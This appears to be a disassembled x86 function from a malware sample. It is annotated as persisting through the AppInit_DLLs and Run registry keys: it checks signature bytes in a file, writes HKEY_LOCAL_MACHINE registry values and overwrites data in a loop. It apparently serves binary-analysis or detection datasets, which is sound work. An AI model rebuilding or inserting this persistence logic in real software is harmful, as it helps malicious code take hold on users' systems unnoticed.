Function at 0x40c214
Capabilities:
Persist via appinit_dlls registry key
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdbc
xor eax, eax
mov edx, dword [0x444560]
mov ecx, dword [0x44456c]
push ebx
push esi
push edi
lea edi, [ebp - 0x3c]
mov esi, dword [ebp + 8]
mov dword [ebp - 8], eax
mov dword [ebp - 0x2c], edx
mov edx, dword [0x444564]
mov dword [ebp - 0x28], edx
mov edx, dword [0x444568]
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x14], ecx
mov ecx, dword [0x444570]
mov dword [ebp - 0x10], ecx
mov cl, byte [0x444574]
mov byte [ebp - 0xc], cl
push esi
mov esi, 0x444575
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
pop esi
mov eax, dword [0x46b1bc]
push 0
push eax
push esi
call fcn.0042e350
add esp, 0xc
push esi
call fcn.00430138
pop ecx
cmp al, 0xe9
je 0x40c293
xor eax, eax
jmp 0x40c482
push esi
push 4
push 1
lea edx, [ebp - 4]
push edx
call fcn.0042e2b0
add esp, 0x10
xor ebx, ebx
lea edi, [ebp - 0x2c]
push esi
call fcn.00430138
pop ecx
cmp al, byte [edi]
jne 0x40c2bb
inc ebx
inc edi
cmp ebx, 0xc
jl 0x40c2a9
cmp ebx, 0xc
jne 0x40c2c7
mov dword [ebp - 8], 1
mov eax, dword [0x46b1bc]
push eax
call fcn.004187e4
pop ecx
add eax, dword [ebp - 4]
add eax, 5
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
push edx
call fcn.004187a0
pop ecx
mov dword [ebp - 4], eax
push 0
mov ecx, dword [ebp - 4]
push ecx
push esi
call fcn.0042e350
add esp, 0xc
xor ebx, ebx
lea edi, [ebp - 0x14]
push esi
call fcn.00430138
pop ecx
cmp al, byte [edi]
je 0x40c30f
xor eax, eax
jmp 0x40c482
inc ebx
inc edi
cmp ebx, 9
jl 0x40c2fd
push esi
call fcn.00430138
pop ecx
push esi
call fcn.00430138
pop ecx
push esi
call fcn.00430138
pop ecx
xor ebx, ebx
lea edi, [ebp - 0x3c]
push esi
call fcn.00430138
pop ecx
cmp al, byte [edi]
je 0x40c342
xor eax, eax
jmp 0x40c482
inc ebx
inc edi
cmp ebx, 0xc
jl 0x40c330
xor edx, edx
cmp dword [ebp - 8], 0
jne 0x40c352
inc edx
push edx
push esi
push 0xa0d
call fcn.00401410
add esp, 0xc
dec eax
je 0x40c36b
xor eax, eax
jmp 0x40c482
lea edx, [ebp - 0x244]
push edx
lea ecx, [ebp - 0x140]
push ecx
lea eax, [ebp - 0x244]
push eax
lea edx, [ebp - 0x244]
push edx
mov ecx, dword [0x46a898]
push ecx
call fcn.0042de18
add esp, 0x14
lea eax, [ebp - 0x140]
push eax
call fcn.004175d0
pop ecx
push 0x445078
push 0x445049
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push 0x4450b2
push 0x44507c
push 0x80000002
call fcn.00417e0c
add esp, 0xc
cmp dword [ebp - 8], 0
je 0x40c3ed
push 0
mov edx, dword [0x46a898]
push edx
call fcn.00417790
add esp, 8
jmp 0x40c47d
push 0
mov ecx, dword [ebp - 4]
add ecx, 0x41
push ecx
push esi
call fcn.0042e350
add esp, 0xc
push esi
push 1
push 4
lea eax, [ebp - 0x20]
push eax
call fcn.0042e2b0
add esp, 0x10
push 0
mov edx, dword [ebp - 4]
add edx, 0x48
push edx
push esi
call fcn.0042e350
add esp, 0xc
push esi
push 1
push 1
lea ecx, [ebp - 0x1c]
push ecx
call fcn.0042e2b0
add esp, 0x10
mov eax, dword [0x46b1bc]
push 0
push eax
push esi
call fcn.0042e350
add esp, 0xc
push esi
push 1
push 5
lea edx, [ebp - 0x20]
push edx
call fcn.0042e540
add esp, 0x10
push 0
mov ecx, dword [ebp - 4]
add ecx, 0xfffffff8
push ecx
push esi
call fcn.0042e350
add esp, 0xc
xor ebx, ebx
push esi
push 0
call fcn.00430160
add esp, 8
inc ebx
cmp ebx, 0x136e
jl 0x40c469
mov eax, 0xa0d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret